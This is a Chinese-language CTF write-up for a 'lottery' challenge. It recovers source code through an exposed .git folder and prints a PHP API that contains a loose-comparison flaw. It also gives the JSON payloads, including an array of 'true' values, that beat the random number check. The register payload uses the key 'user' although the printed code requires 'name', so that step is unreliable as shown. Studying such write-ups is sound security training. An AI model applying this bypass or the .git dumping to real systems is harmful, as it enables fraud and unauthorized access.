1. 程式人生 > 實用技巧 >CTF:lottery(程式碼審計|==比較繞過)

CTF:lottery(程式碼審計|==比較繞過)

進入頁面,發現按鈕點了沒有反應,切換頁面都提示要先註冊

發現註冊不了,這時候查找了robots.txt檔案,發現了.git資料夾

這是.git洩露了,使用GitHack把檔案下載下來

經過檢視發現這裡面需要用到config.php檔案和api.php檔案

審計api.php程式碼:

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
    die(json_encode($resp));
}

function response_error($msg
){ $result = ['status'=>'error']; $result['msg'] = $msg; response($result); } function require_keys($req, $keys){ //$data,['action'] foreach ($keys as $key) { if(!array_key_exists($key, $req)){ // 'action' , response_error('invalid request'); } } } function
require_registered(){//判斷是否註冊 if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){ response_error('register first'); } } function require_min_money($min_money){ if(!isset($_SESSION['money'])){ response_error('register first'); } $money = $_SESSION['money'];
if($money < 0){ $_SESSION = array(); session_destroy(); response_error('invalid negative money'); } if($money < $min_money){ response_error('you don\' have enough money'); } } //要是post且CONTENT_TYPE不能為空並等於application/json if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){ response_error('please post json data'); } //file_get_contents('php://input') :獲取post資料, //json_decode解析成json,返回一個arrays $data = json_decode(file_get_contents('php://input'), true); //json_last_error是讀取上一次json錯誤的值 if(json_last_error() != JSON_ERROR_NONE){ response_error('invalid json'); } //判斷是否有傳入的json中是否含有key值'action' require_keys($data, ['action']); /*隨機數種子*/ function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); //openssl_random_pseudo_bytes():生成一個偽隨機位元組串,10代表個數,$cstrong如果傳遞到該函式中,將會儲存為一個 boolean 值來表明是否使用了“強加密”,如果被用於GPG和密碼之類的將返回TRUE , 否則返回 FALSE $num = ord($byte);//獲取byte中的第一個位元組ascii碼值 } while ($num >= 250); //ascii碼最大為255,所以這裡只能輸出 0~249 if(!$cstrong){ response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num)); //將$num轉換為字串 | floor函式向下舍入為最接近的整數 //這裡沒有查到漏洞 } /*迴圈生成一個7位的隨機數*/ function random_win_nums(){ $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } /*購買賭注函式,這裡有漏洞*/ function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){//==不能判斷型別,這裡有漏洞,可以傳入true做對比,除了“0”都為true $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); } /*獲取flag函式*/ function flag($req){ global $flag; global $flag_price; require_registered(); $money = $_SESSION['money']; if($money < $flag_price){//當錢足夠時才能獲取flag response_error('you don\' have enough money'); } else { $money -= $flag_price; $_SESSION['money'] = $money; $msg = 'Here is your flag: ' . $flag; response(['status'=>'ok','msg'=>$msg, 'money'=>$money]); } } /*註冊函式*/ function register($req){ $name = $req['name']; $_SESSION['name'] = $name; $_SESSION['money'] = 20; response(['status'=>'ok']); } switch ($data['action']) { case 'buy': require_keys($data, ['numbers']); buy($data); break; case 'flag': flag($data); break; case 'register': require_keys($data, ['name']); register($data); break; default: response_error('invalid request'); break; }

經過審計程式碼後現在我們整理一下獲取flag的思路:

1.註冊使用者

2.多次購買獎票(使money>=999000)

3.獲取flag

1.構造payload註冊使用者

相關程式碼:

/*註冊函式*/
function register($req){
    $name = $req['name'];
    $_SESSION['name'] = $name;
    $_SESSION['money'] = 20;

    response(['status'=>'ok']);
}

POST /api.php 並傳入json,使用burpsuite修改請求頭

{"action":"register","user":"1"}

這時候我們發現註冊成功了,成功的頁面返回了一個cookie,這個cookie就相當於使用者識別碼,把cookie儲存下來需要在步奏2-3中使用

2.構造payload多次購買獎票

相關程式碼:

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];

我們在上次的介面中新增cookie之後,還需要修改json,加入numbers

我們經過程式碼審計得知有一個比較的漏洞,構造比較漏洞的json

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

3.構造payload獲取flag

當獲取的money足夠時提交獲取flag的payload